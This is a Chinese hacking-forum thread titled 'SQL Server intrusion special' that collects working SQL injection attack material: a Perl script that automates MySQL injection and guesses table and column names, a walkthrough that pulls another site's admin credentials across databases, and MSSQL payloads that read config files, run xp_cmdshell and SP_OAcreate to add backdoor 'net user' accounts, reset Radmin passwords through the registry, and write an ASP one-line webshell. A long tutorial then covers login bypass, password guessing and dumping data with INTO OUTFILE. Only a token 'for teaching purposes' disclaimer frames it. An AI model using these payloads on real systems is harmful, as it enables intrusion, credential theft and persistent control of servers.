论坛: 黑客进阶 标题: SQL服务器入侵专题! 复制本贴地址    
作者: DarK-Z [bridex]    论坛用户   登录

MYSQL注入分析工具包+源代码 by xtian


以前用perl写的一组小软件,被朋友编译到了网上,后来好象被收录到了《黑客防线》2005第九期的光盘中。主要是用于MySQL注入分析。主程序“MYSI”核心是union查询,因此只能建立在MySQL4.0以上。软件可以在这里下载http://www.eviloctal.com/forum/htm_data/10/0603/20809.html 以下是“MYSI”的源代码,写的简陋,还请勿笑! #!/usr/bin/perl #Automatic MYSQL Injection testing script #Code by xtian (xtian@yeah.net) ########################################## use IO::Socket; system ('cls'); $ARGC=@ARGV; if ($ARGC!=2) { print"\n\n\t* MYSQL注入分析器 *\n"; print"\t* Code by xtian (xtian\@yeah.net) *\n"; print"\n\n================================================================================\n"; print"\t 用法:MYSI <目标> <关键字>\n"; print"\t 例如:MYSI http://www.target.com/list.php?id=1 MYSI下载\n"; print"\n================================================================================\n"; exit; } $url=@ARGV[0]; $info=@ARGV[1]; $port=80; &allurl; $test="%20and%201=1"; $rtest=@res=&connect; $test="%20and%201=2"; $rtedt=@res=&connect; if ("$rtedt" !~ /$rtest/){ print"\n *存在注入!\n";} else{ print"\n *不存在注入!\n";exit; } $test="/*!%20s*/"; @res=&connect; if ("@res" !~ /$info/){ print"\n\n注入开始...\n"; }else{ print"\n\n* 数据库可能非MYSQL,无法注入!"; exit; } $test="/*!40000%20s*/"; @res=&connect; if ("@res" =~ /$info/){ print"\n* MYSQL版本过低,无法注入!\n"; exit; }else{ print"\n+--字段数猜解--+\n"; } for ($i=0;$i<50;$i++){ $d=",$i".$d; $test= "%20union%20select%201"."$d"; @res=&connect; $n=$i+2; if ("@res" !~/$info/) { print"\n\t+-- NO.\t$n\t×";} else{ print"\n\t+-- NO.\t$n\tOK!\n"; print"* 成功!\nURI: $test\n";last; } } $retest=$test; if ($i==50){ print"\n\n* 字段数猜解失败,注入终止!\n";exit;} print"\n+--表名猜解--+\n"; open (tab,"table.txt") or die "* 无法打开table.txt!\n"; while (chomp(my @input=)){ foreach $input(@input){ $test="$retest%20from%20$input"; @res=&connect; if ("@res" !~/$info/){ print"\n\t+--\t$input\t×"; } else{ print"\n\t+--\t$input\tOK!"; print"* \t得到表名:$input\n"; } } } close (tab); print"\n\n+--字段名猜解--+\n\n"; &table; open (col,"column.txt") or die "* 无法打开column.txt!\n"; while (chomp(my @input=
)){ foreach $input(@input){ $test="$retest%20from%20$table%20where%20$input"; @res=&connect; if ("@res" !~/$info/){ print"\n\t+--\t$input\t×"; } else{ print"\n\t+--\t$input\tOK!"; print"* 得到字段名:$input\n"; } } &finish } close (col); sub allurl { if ($url=~/(http:\/\/)?(.*?):?(\d*?)\/(.*)/) {$host=$2; $3 && ($port=$3); $path=' /'.$4; } } sub table { print"\n请输入获取到的表名(未检测到表名,请按Ctrl+c结束):"; chomp ($table=); $test="$retest%20from%20$table"; @res=&connect; if ("@res" !~/$info/){ print"\n\n * 输入有误!\n"; &table} } sub finish { print"\n\n====================================注入结束!===================================\n";} sub connect { $req = "GET $path$test HTTP/1.0\n". "Host:$host\n". "Referer:$host\n". "Cookie:\n\n"; my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "\n\t无法连接到$host.\n\n"; print $connection $req; my @res = <$connection>; close $connection; return @res; } 


地主 发表时间: 11-05-19 20:00

回复: DarK-Z [bridex]   论坛用户   登录
Mysql跨库入侵介绍
入侵假想: 目标是A站点,安全性比较可以。但是在同服务器下的B站点,我们发现了一个Mysql 注入点,并且还有查询相关库的权限。 那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之.. (当然你也可以把B站点入侵了,再入侵A。但不是有注入点就可


-

  
入侵假想:
目标是A站点,安全性比较可以。但是在同服务器下的B站点,我们发现了一个Mysql 注入点,并且还有查询相关库的权限。

那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之…..
(当然你也可以把B站点入侵了,再入侵A。但不是有注入点就可以入侵的,偶?跑题了。)

大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库,基本结构如下:
Information_schema-------| Schemata 存放数据库信息的表
| Tables 存放数据库中表信息的表
| Columns 存放数据库中列信息的表
…………………………………..
对我们入侵十分有帮助。
既然我们要跨库,就需要查询库信息。怎么查?上图,来得直接

还有一个要介绍的,假如我们要查询mysql库中的user表中的相关信息,我们可以这样查:

好了,XX们已经等不急了。

B站注入点: http://www.b.com/b.php?ID=99

看看数据库基本情况 http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(user(),0x2c,version())
5.x的mysql,挺好的。继续

查库: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1

这样查出来的就是mysql中的第一个数据库,想要查第二个数据库就将limit 0,1改为limit 1,1
以此类推。


有人就要问了,你怎么知道A站点的数据库是哪个呀?
这个嘛,1.Load_file,要看运气
2.猜猜,还可以看A站是不是整站程序,凭经验猜猜,像helen这样的牛B社工猜出来没问题。
通过上面的操作,我们已经获取了A站点的数据库名 adb(假设)

查管理员表: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x616462/**/limit/**/0,1、
………
得到管理员表为 adb_admin

查管理员中表的字段: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x6164625F61646D696E/**/limit/**/0,1
…………….
得到管理员表字段为 admin_name admin_pass

查管理员帐号信息: http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(admin_name,0x2c,admin_pass)/**/from/**/adb.adb_admin/**/limit/**/0,1
…………………
OK到这里A站点的管理员信息也就查询出来了,XX们,继续入侵工作

注:
adb的Hex为0x616462
adb_admin的Hex为0x6164625F61646D696E
, 的Hex为0x2c



B1层 发表时间: 11-05-19 20:17

回复: DarK-Z [bridex]   论坛用户   登录
通过SQL命令查看目标机器文件的代码
通过SQL命令可以查看目标机器文件 前提是要知识物理路径 代码如下: Use xxx120; --任意库 drop table cmd; create table cmd (a text); BULK INSERT cmd FROM 'd:\freehost\fuck\web.config' WITH ( FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n\n' ) sele


-

  
通过SQL命令可以查看目标机器文件

前提是要知识物理路径

代码如下:
Use xxx120; --任意库
drop table cmd;
create table cmd (a text);
BULK INSERT cmd
FROM 'd:\freehost\fuck\web.config'
WITH (
FIELDTERMINATOR = '\n',
ROWTERMINATOR = '\n\n'

)

select * from cmd



B2层 发表时间: 11-05-19 20:18

回复: DarK-Z [bridex]   论坛用户   登录
最常用的SQL注入漏洞测试代码
//看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('ma


-

  
//看看是什么权限的
    and 1=(Select IS_MEMBER('db_owner'))
    And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
    //检测是否有读取某数据库的权限
    and 1= (Select HAS_DBACCESS('master'))
    And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
    数字类型
    and char(124)%2Buser%2Bchar(124)=0
    字符类型
    ' and char(124)%2Buser%2Bchar(124)=0 and ''='
    搜索类型
    ' and char(124)%2Buser%2Bchar(124)=0 and '%'='
    爆用户名
    and user>0
    ' and user>0 and ''='
    检测是否为SA权限
    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
    And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
    检测是不是MSSQL数据库
    and exists (select * from sysobjects);--
    检测是否支持多行
    ;declare @d int;--
    恢复 xp_cmdshell
    ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
    select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
    //-----------------------
    // 执行命令
    //-----------------------
    首先开启沙盘模式:
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
    然后利用jet.oledb执行系统命令
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
    执行命令
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
    EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
    判断xp_cmdshell扩展存储过程是否存在:
    http://www.0daynet.com/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
    写注册表
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
    REG_SZ
    读注册表
    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
    读取目录内容
    exec master..xp_dirtree 'c:\winnt\system32\',1,1
    数据库备份
    backup database pubs to disk = 'c:\123.bak'
    //爆出长度
    And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
    更改sa口令方法:用sql综合利用工具连接后,执行命令:
    exec sp_password NULL,'新密码','sa'[nextapge]
    添加和删除一个SA权限的用户test:
    exec master.dbo.sp_addlogin test,ptlove
    exec master.dbo.sp_addsrvrolemember test,sysadmin
    删除扩展存储过过程xp_cmdshell的语句:
    exec sp_dropextendedproc 'xp_cmdshell'
    添加扩展存储过过程
    EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
    GRANT exec On xp_proxiedadata TO public
    停掉或激活某个服务。
    exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'
    dbo.xp_subdirs
    只列某个目录下的子目录。
    xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
    dbo.xp_makecab
    将目标多个档案压缩到某个目标档案之内。
    所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
    dbo.xp_makecab
    'c:\test.cab','mszip',1,
    'C:\Inetpub\wwwroot\SQLInject\login.asp',
    'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
    xp_terminate_process
    停掉某个执行中的程序,但赋予的参数是 Process ID。
    利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484 xp_unpackcab 解开压缩档。 xp_unpackcab 'c:\test.cab','c:\temp',1 某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit


-

  
    xp_terminate_process 2484
    xp_unpackcab
    解开压缩档。
    xp_unpackcab 'c:\test.cab','c:\temp',1
    某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
    create database lcx;
    Create TABLE ku(name nvarchar(256) null);
    Create TABLE biao(id int NULL,name nvarchar(256) null);
    //得到数据库名
    insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
    //在Master中创建表,看看权限怎样
    Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
    用 sp_makewebtask直接在web目录里写入一句话马:
    <A href="asp','%20select%20''<%25execute(request("a"))%25>''%20'">http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''''%20'">http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
    //更新表内容
    Update films SET kind = 'Dramatic' Where id = 123
    //删除内容
    delete from table_name where Stockid = 3

B3层 发表时间: 11-05-19 20:20

回复: DarK-Z [bridex]   论坛用户   登录
SQL注入Mysql

B4层 发表时间: 11-05-19 21:48

回复: DarK-Z [bridex]   论坛用户   登录
文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试。绝对真实。如果有什么遗漏或错误,欢迎来安全天使论坛(http://www.4ngel.net/forums)和我交流。
前言
  2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。
关于php+Mysql的注入
  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。
php+Mysql注入的误区
  很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command = "dir c:\";
system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。
① 指定变量$id为:
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";

  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
简单的例子
  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');

  验证用户文件的代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}
echo "<p>SQL Query:$sql<p>";
?>

  这时我们提交: http://127.0.0.1/injection/user.php?username=angel' or 1=1

  就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13

  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造: http://127.0.0.1/injection/user.php?username=angel' or '1=1

  这时显示“登陆成功”,说明成功了。或者提交: http://127.0.0.1/injection/user.php?username=angel'/* http://127.0.0.1/injection/user.php?username=angel'%23

  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?
语句构造
  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace("_","\_",$keywords);
  //$keywords = str_replace("%","\%",$keywords);
  $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);
  echo "<p>SQL Query:$sql<p>";
  if ($tatol <=0){
    echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo "<li>".htmlspecialchars($article[title])."<p>\n";
    } //while
  }
} else {
  echo "<b>Please enter some keywords.</b><p>\n";
}
?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#

  SQL语句就被改变成下面的样子了,
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC

  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?
二、查询字段
  查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:
① 本表查询
  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
  echo "该记录不存在";
  echo "<p>SQL Query:$sql<p>";
  exit;
}
echo "你要查询的用户ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>

  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'

  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交: http://127.0.0.1/injection/user.php?username=angel' and password='mypass

  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:
SELECT * FROM user WHERE username='angel' AND password='mypass'

  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码: http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass

  看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。
② 跨表查询
  这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:

  看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……

  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……

  否则就会报错:
The used SELECT statements have a different number of columns

  如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
  我们看看下面的数据结构,是一个简单的文章数据表。
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `article`
#
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!');
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');

  这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用“SELECT 1,1,1,1……”了。
  下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
  echo "该记录不存在";
  echo "<p>SQL Query:$sql<p>";
  exit;
}
echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>

正常情况下,我们提交这样的一个请求: http://127.0.0.1/injection/show.php?id=1

  就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
  由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……

  由于这个代码是有单引号包含着变量的,我们现在提交: http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

  按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:

  其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西: http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*

  如图:

  现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
三、导出文件
  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
必须导出到能访问的目录,这样才能下载。
能访问的目录必须要有可写的权限,否则导出会失败。
确保硬盘有足够的容量能容下导出的数据,这个很少见。
确保要已经存在相同的文件名,会导致导出失败,并提示:“File 'c:/file.txt' already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。
  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句: http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了: http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

  实际的SQL语句变为:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'

  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
  既然条件满足,在这种情况下就直接导出所有数据!如图:

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'

  这样可以导出文件了,如果我们要构造就提交: http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt

  文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分,如图:

